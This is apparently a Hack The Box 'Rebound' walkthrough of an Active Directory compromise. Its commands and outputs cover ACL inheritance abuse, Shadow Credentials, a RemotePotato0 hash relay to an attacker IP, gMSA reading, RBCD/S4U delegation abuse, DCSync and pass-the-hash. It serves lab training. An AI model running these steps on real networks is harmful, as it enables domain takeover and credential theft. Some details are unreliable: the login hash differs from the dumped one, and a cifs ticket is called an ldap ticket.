┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ python3 -m venv bloodyAD  

┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ source bloodyAD/bin/activate 

┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ pip3 install bloodyAD

┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ bloodyAD -u oorend -p '1GR8t@$$4u' -d rebound.htb --host rebound.htb add groupMember SERVICEMGMT oorend
[+] oorend added to SERVICEMGMT

image-54.png

Now can we reset the password of winrm_svc with the GenericAll over the OU it is in? Unfortunately it is not that simple. Inheritance is a key concept for ACLs in AD security on how objects retrieve permissions.

We only have full permissions over the OU not the user, as the permissions over the OU do not appear to be ‘inherited’ down to give us GenericAll over the winrm_svc user. However, as we have full permission over the OU, we can simply enable inheritance so the GenericAll trickles down!

Enabling inheritance

With GenericAll over an OU, you can add a new ACE on the OU that will inherit down to the objects under that OU, ref here. We can use impacket’s dacledit.py to force our GenericAll ACE to inherit down to the objects under OU=Service Users by enabling inheritance. This attack scenario is also explained really nicely in this twitter thread.

image-51.png

So lets use dacledit.py to enable inheritance, taking reference from the example here. We need to make another venv to install the forked version of impacket with the dacledit script, without breaking our existing impacket install. We install the correct branch, get a ticket for oorend who we already added to ServiceMgmt then use our privilege over the OU to simply enable inheritance so all child objects inherit the permissions under OU=Service Users.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
python3 -m venv dacl 
source dacl/bin/activate
git clone --branch dacledit https://github.com/ShutdownRepo/impacket/ impacket-dacl
cd impacket-dacl
pip install .
python3 setup.py install

┌──(dacl)(kali㉿kali)-[~/Desktop/impacket-dacl/examples]
└─$ impacket-getTGT 'rebound.htb'/'oorend':'1GR8t@$$4u' -dc-ip rebound.htb
Impacket v0.9.25.dev1+20230823.145202.4518279 - Copyright 2021 SecureAuth Corporation
[*] Saving ticket in oorend.ccache
                                        
┌──(dacl)(kali㉿kali)-[~/Desktop/impacket-dacl/examples]
└─$ export KRB5CCNAME=oorend.ccache 
                                                        
┌──(dacl)(kali㉿kali)-[~/Desktop/impacket-dacl/examples]
└─$ klist
Ticket cache: FILE:oorend.ccache
Default principal: oorend@REBOUND.HTB
Valid starting       Expires              Service principal
09/12/2023 18:17:13  09/13/2023 04:17:13  krbtgt/REBOUND.HTB@REBOUND.HTB
        renew until 09/13/2023 18:17:12

┌──(dacl)(kali㉿kali)-[~/Desktop/impacket-dacl/examples]
└─$ dacledit.py -k -no-pass -action 'write' -rights 'FullControl' -principal oorend -target-dn 'OU=Service Users,DC=rebound,DC=htb' -inheritance 'rebound.htb'/'oorend' -use-ldaps -dc-ip rebound.htb
Impacket v0.9.25.dev1+20230823.145202.4518279 - Copyright 2021 SecureAuth Corporation
[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20230912-181800.bak
[*] DACL modified successfully!

image-33.png

We see the DACL was modified successfuly and in ADUC can now see the GenericAll ACE inherits down the OU giving us full privilege over winrm_svc. image-34.png

One option to abuse this would be to simply reset the password of winrm_svc with our privilege, however this is bad practice as in a real engagement we wouldn’t want to reset client credentials without being able to revert them. Instead, with our GenericAll over winrm_svc as oorend a much better way to abuse this is to perform a Shadow Credentials attack.

Adding Shadow Credentials

Our GenericAll allows us to write to the msDS-KeyCredentialLink attribute of the object enabling us to perform a Shadow Credentials attack if a PKI solution is in place such as Active Directory Certificate Services. We can quickly check if this is installed in the domain using crackmapexec:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ crackmapexec ldap rebound.htb -u ldap_monitor -p '1GR8t@$$4u' -k -M adcs
SMB         rebound.htb     445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
LDAPS       rebound.htb     636    DC01             [+] rebound.htb\ldap_monitor 
ADCS        rebound.htb     389    DC01             [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS                                                Found PKI Enrollment Server: dc01.rebound.htb
ADCS                                                Found CN: rebound-DC01-CA

image-55.png

ADCS is present, so as outlined by specterops in this blog we can update the msDS-KeyCredentialLink attribute of winrm_svc and then perform Kerberos authentication to obtain a TGT for that account using PKINIT (public key approach to Kerberos pre-authentication). Just like in absolute, we can first use pyWhisker to update the ms-Ds-KeyCredentialLink of winrm_svc with a key-pair using oorend who we set to have GenericAll over the account. We can then use the .pfx certificate with PKINIT auth to obtain a TGT for winrm_svc and finally recover the NTLM hash for persistence via unpac-the-hash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/Desktop/htb/absolute/pywhisker] 
└─$ impacket-getTGT 'rebound.htb'/'oorend':'1GR8t@$$4u' -dc-ip rebound.htb

┌──(kali㉿kali)-[~/Desktop/htb/absolute/pywhiser] 
└─$ export KRB5CCNAME=oorend.ccache

┌──(kali㉿kali)-[~/Desktop/htb/absolute/pywhiser] 
└─$ python3 pywhisker.py -d "rebound.htb" -k -u "oorend" --target "winrm_svc" --action "add" --dc-ip "rebound.htb" --use-ldaps

┌──(kali㉿kali)-[~/Desktop/htb/absolute/PKINITtools]  
└─$ python3 gettgtpkinit.py rebound.htb/winrm_svc -cert-pfx ../pywhisker/OUp2QOp2.pfx -pfx-pass 5QKJXsgTHcsGvaspHWt5 winrm.ccache

┌──(kali㉿kali)-[~/Desktop/htb/absolute/PKINITtools]  
└─$ export KRB5CCNAME="winrm.ccache"

┌──(kali㉿kali)-[~/Desktop/htb/absolute/PKINITtools]  
└─$ python3 getnthash.py -key 0cfb6ae5cee5d22f505512ea1252e1daca324032f620a6d4725d2c656474ad37 'rebound.htb/winrm_svc'

image-35.png

This gives us the hash of winrm_svc for persistent access= 4469650fd892e98933b4536d2e86e512

Now we can simply login and grab user.txt !

1
2
┌──(kali㉿kali)-[~/Desktop]
└─$ evil-winrm -i rebound.htb -u winrm_svc -H 4469650fd892e98933b4536d2e86e512

image-36.png

Privesc

Going back to our bloodhound output we see that rebound.htb\tbrady can read the gMSA password of rebound.htb\DELEGATOR$, which seems like the next logical step to escalate.

image-9.png

The only way to get to tbrady seemed to be the fact he has a session on the the DC, as the user had no inbound ACEs or special privileges.

image-11.png

We could also get reverse shell and query for active user sessions to discover this:

1
2
3
C:\> query user
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
 tbrady                console             1  Active      none   9/10/2023 10:22 AM

I did wonder how tbrady was logged into the DC as he is not in any special groups (just rebound.htb\Domain Users) which is pretty strange for a non-privileged user to be logged into the DC, but as I found later he has permission to logon locally through the Default Domain Controllers Policy GPO.

image-25.png

Dumping hashes with RemotePotato0

I got stuck for a long time here but eventually discovered an exploit named RemotePotato0 which can exploit a cross-session relay, setting up a local listener and coercing the privileged DCOM activation service to it, triggering an NTLM authentication of any user currently logged on in the target machine. AKA we can get the NTLMv2 hash of tbrady as he’s logged into the machine!

There is a note on the GitHub saying the exploit has since been fixed however, we know this will work as although the server is 2019 and a patch is out, the version build is 17763 which was only supported until 2020 and the patch for remotepotato was released in 2022.

image-23.png

We can use the command reference here to setup a socat relay to send the RPC call to our attacking machine and relay that back to the RPC server and capture the NTLMv2 hash of other users logged into the machine (tbrady). We pick to target session 1 is because session 0 is reserved for services and non interactive user applications (what we are in during WinRM). Users who are logged natively onto windows must run in session 1 or higher as explained here.

1
2
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.129.9.240:9998
> .\RemotePotato0.exe -m 2 -x 10.10.16.26 -p 9998 -s 1

image-12.png

And we get NTLMv2 hash of tbrady!

1
tbrady::rebound:d52e0d88d0900a29:79edd03ab0b312fc40f91ffcbe203686:0101000000000000adf3b55bede5d901ddce856b3450afa30000000002000e007200650062006f0075006e006400010008004400430030003100040016007200650062006f0075006e0064002e006800740062000300200064006300300031002e007200650062006f0075006e0064002e00680074006200050016007200650062006f0075006e0064002e0068007400620007000800adf3b55bede5d90106000400060000000800300030000000000000000100000000200000301aac4986552c3e3c9da001fa9742fba510e2a7c3f6b9c2d10dd07c66d3cf0d0a00100000000000000000000000000000000000090000000000000000000000

Let’s try to crack the hash with rockyou.txt:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
543BOMBOMBUNmanda (tbrady)     
1g 0:00:00:04 DONE (2023-09-13 01:59) 0.2364g/s 2881Kp/s 2881Kc/s 2881KC/s 5449977..5435844
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

image-13.png

Luckily it cracks, giving us our fourth credentials: tbrady:543BOMBOMBUNmanda.

Reading the gMSA password

Equipped tbrady's credentials, we can read the gMSA password of rebound.htb\DELEGATOR$ which can easily be done with crackmapexec’s --gmsa module.

1
2
3
4
5
6
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ crackmapexec ldap dc01.rebound.htb -u tbrady -p 543BOMBOMBUNmanda -k --gmsa
SMB         dc01.rebound.htb 445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
LDAP        dc01.rebound.htb 636    DC01             [+] rebound.htb\tbrady:543BOMBOMBUNmanda
LDAP        dc01.rebound.htb 636    DC01             [*] Getting GMSA Passwords
LDAP        dc01.rebound.htb 636    DC01             Account: delegator$           NTLM: 9b0ccb7d34c670b2a9c81c45bc8befc3

image-19.png

Crackmapexec spits out the NTLM hash of the password, as the 240-byte non human-readable password wouldn’t be much use to us. We can see it is valid - delegator$:9b0ccb7d34c670b2a9c81c45bc8befc3 image-14.png

Discovering constrained delegation

With delegator$ we can take the hint that we should search for interesting delegations this user can perform.

1
2
> . .\PowerView.ps1
> Get-DomainComputer -Trusted

image-10.png

We can also find this remotely with impacket-findDelegation

1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ kali@kali~$ impacket-findDelegation -target-domain rebound.htb rebound.htb/winrm_svc -hashes :4469650fd892e98933b4536d2e86e512 -k
AccountName  AccountType                          DelegationType  DelegationRightsTo    
-----------  -----------------------------------  --------------  ---------------------
delegator$   ms-DS-Group-Managed-Service-Account  Constrained     http/dc01.rebound.htb

image-22.png

We see there is constrained delegation to http/dc01.rebound.htb. This essentially means delegator$ is allowed to request a TGS for ANY user (domain admin!) for the http service running on dc01$.

Failing to exploit the constrained delegation

The usual exploitation of constrained delegation is to obtain a service ticket (TGS) using impacket-getST of the HTTP service we are allowed to delegate to whilst impersonating any user (domain admin for privilege escalation).

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/Desktop/htb/rebound] 
└─$ impacket-getST -dc-ip rebound.htb -spn http/dc01.rebound.htb -hashes :9B0CCB7D34C670B2A9C81C45BC8BEFC3 -impersonate administrator rebound.htb/delegator
Impacket v0.12.0.dev1+20230907.33311.3f645107 - Copyright 2023 Fortra

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user delegator or initial TGT not forwardable

However, this seems to fail. image-37.png

This article suggests this failure is because the user we are impersonating is either in the Protected Users group or is set as Account is sensitive and cannot be delegated. Looking in ADUC confirms rebound.htb\Administrator has the sensitive attribute set so cannot be impersonated for delegation. This basically means Administrator credential cannot be forwarded to other computers or services on the network by a trusted application, explaining why we failed to impersonate it.

image-52.png

Although we can’t impersonate the only domain admin, we could try to impersonate the DC itself then we could DCSync? However, trying to impersonate dc01$ strangely also fails.

image-38.png

Exploiting constrained delegation without protocol transition

The article also suggests the error can mean the constrained delegation is configured without protocol transition (i.e trust the user for delegation to specified services using Kerberos ONLY (not ANY authentication protocol which is the common one).

Inspecting the attributes for delegator$ we see the userAccountControl it is set to 0x1000 which the documentation states is “Trust this user for delegation to specific services only (Use Kerberos Only) which confirms the delegation is without protocol transition. Normally constrained delegation is set with the TRUSTED_TO_AUTH_FOR_DELEGATION value which is a neat little twist for this box, forcing to exploit delegation with only Kerberos.

image-15.png

Researching how to exploit constrained delegation without protocol transition we find two great references, here and here. First we can get a valid TGT for delegator$, then set the msds-AllowedToActOnBehalfOfOtherIdentity on delegator$ which is used to control what front-end service can delegate to the backend delegator$ in resource-based constrained delegation (computer accounts have permission to set their own attribute). When setting the ms-Ds-AllowedToActOnBehalfOfOtherIdentity attribute on the backend service, the frontend service must have an SPN set in the domain. But what do we set for the service (SPN) to be allowed to delegate to delegator$? We either have to add one or use an already compromised one.

We can’t add a computer account (by default has SPNs) as the machineaccountquota is set to 0. However we can use ldap_monitor as we already compromised this user that has an SPN set - ldapmonitor/dc01.rebound.htb . By setting this we are saying ldap_monitor can use S4U2Self (obtain TGS to itself on behalf of another user) to request a forwardable TGS on delegator$ via S4U2Proxy (obtain TGS on second service on behalf of another user).

We can update the msds-AllowedToActOnBehalfOfOtherIdentity of delegator$ using impacket-rbcd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ impacket-getTGT 'rebound.htb/delegator$' -hashes :9b0ccb7d34c670b2a9c81c45bc8befc3 -dc-ip rebound.htb

┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ export KRB5CCNAME=delegator\$.ccache

┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ impacket-rbcd -delegate-to 'delegator$' -delegate-from 'ldap_monitor' -dc-ip rebound.htb -action 'write' 'rebound.htb'/'delegator$' -k -no-pass -use-ldaps

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ldap_monitor can now impersonate users on delegator$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     ldap_monitor   (S-1-5-21-4078382237-1492182817-2568127209-7681)

image-39.png

Nice, now ldap_monitor can impersonate any users on delegator$ via S4U2Proxy.

Then following the first article as ldap_monitor we perform a S4U2self + S4U2proxy for the browser service on delegator$ to obtain a forwardable TGS for browser/dc01.rebound.htb . We then do an additional S4U2Proxy to delegate to the HTTP/DC01 service which allows use to get a ticket as the DC - meaning we can then DCSync!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ impacket-getTGT 'rebound.htb/ldap_monitor:1GR8t@$$4u'

┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ export KRB5CCNAME=ldap_monitor.ccache

┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ impacket-getST -spn "browser/dc01.rebound.htb" -impersonate "dc01$" "rebound.htb/ldap_monitor" -k -no-pass

┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ export KRB5CCNAME=dc01\$.ccache

┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ impacket-getST -spn "http/dc01.rebound.htb" -impersonate "dc01$" -additional-ticket "dc01$.ccache" "rebound.htb/delegator$" -hashes :9b0ccb7d34c670b2a9c81c45bc8befc3 -k -no-pass
                                                     
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ impacket-secretsdump -no -k dc01.rebound.htb -just-dc-user Administrator
Impacket v0.12.0.dev1+20230907.33311.3f645107 - Copyright 2023 Fortra
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7bf62b9c45112ffdadb7b6b4b9299dd2:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:f85e10e8723650ad5cec6898e61af52c111a6da2d8d7b377da6ffedbedd9f342
Administrator:aes128-cts-hmac-sha1-96:2c13deb72832d014feb7f905298f07cb
Administrator:des-cbc-md5:084926e6404a2579
[*] Cleaning up...

image-40.png

For some reason the HTTP TGS let me DCSync which I’m not sure why as we should need an LDAP TGS for this. There is an interesting thread here that discusses strange behaviour with impacket’s secretsdump and tickets. However if HTTP didn’t work we could simply change the service name as the service name (SPN) is not protected in the Kerberos structure so the service class can be modified in the ticket for any service run by DC01 - e.g. LDAP which normally lets us DCSync. We can use tgssub.py for this.

1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop/impacket-dacl/examples]
└─$ git clone --branch tgssub https://github.com/ShutdownRepo/impacket/ tgssub

┌──(kali㉿kali)-[~/…/impacket-dacl/examples/tgssub/examples]
└─$ python3 tgssub.py -in "/home/kali/Desktop/htb/rebound/dc01$.ccache" -out cifs.ccache -altservice "cifs/dc01.rebound.htb"

image-56.png

Now with an ldap ticket this also lets us DCSync like before with secretsdump.

With the NTLM hash of Administrator we can simply pass the hash to connect via WinRM.

1
2
┌──(kali㉿kali)-[~/Downloads/Tools/ADModule-master] 
└─$ evil-winrm -i rebound.htb -u administrator -H 176be138594933bb67db3b2572fc91b8

image-16.png

With root.txt we pwned the box!

image-17.png

This post is licensed under CC BY 4.0 by the author.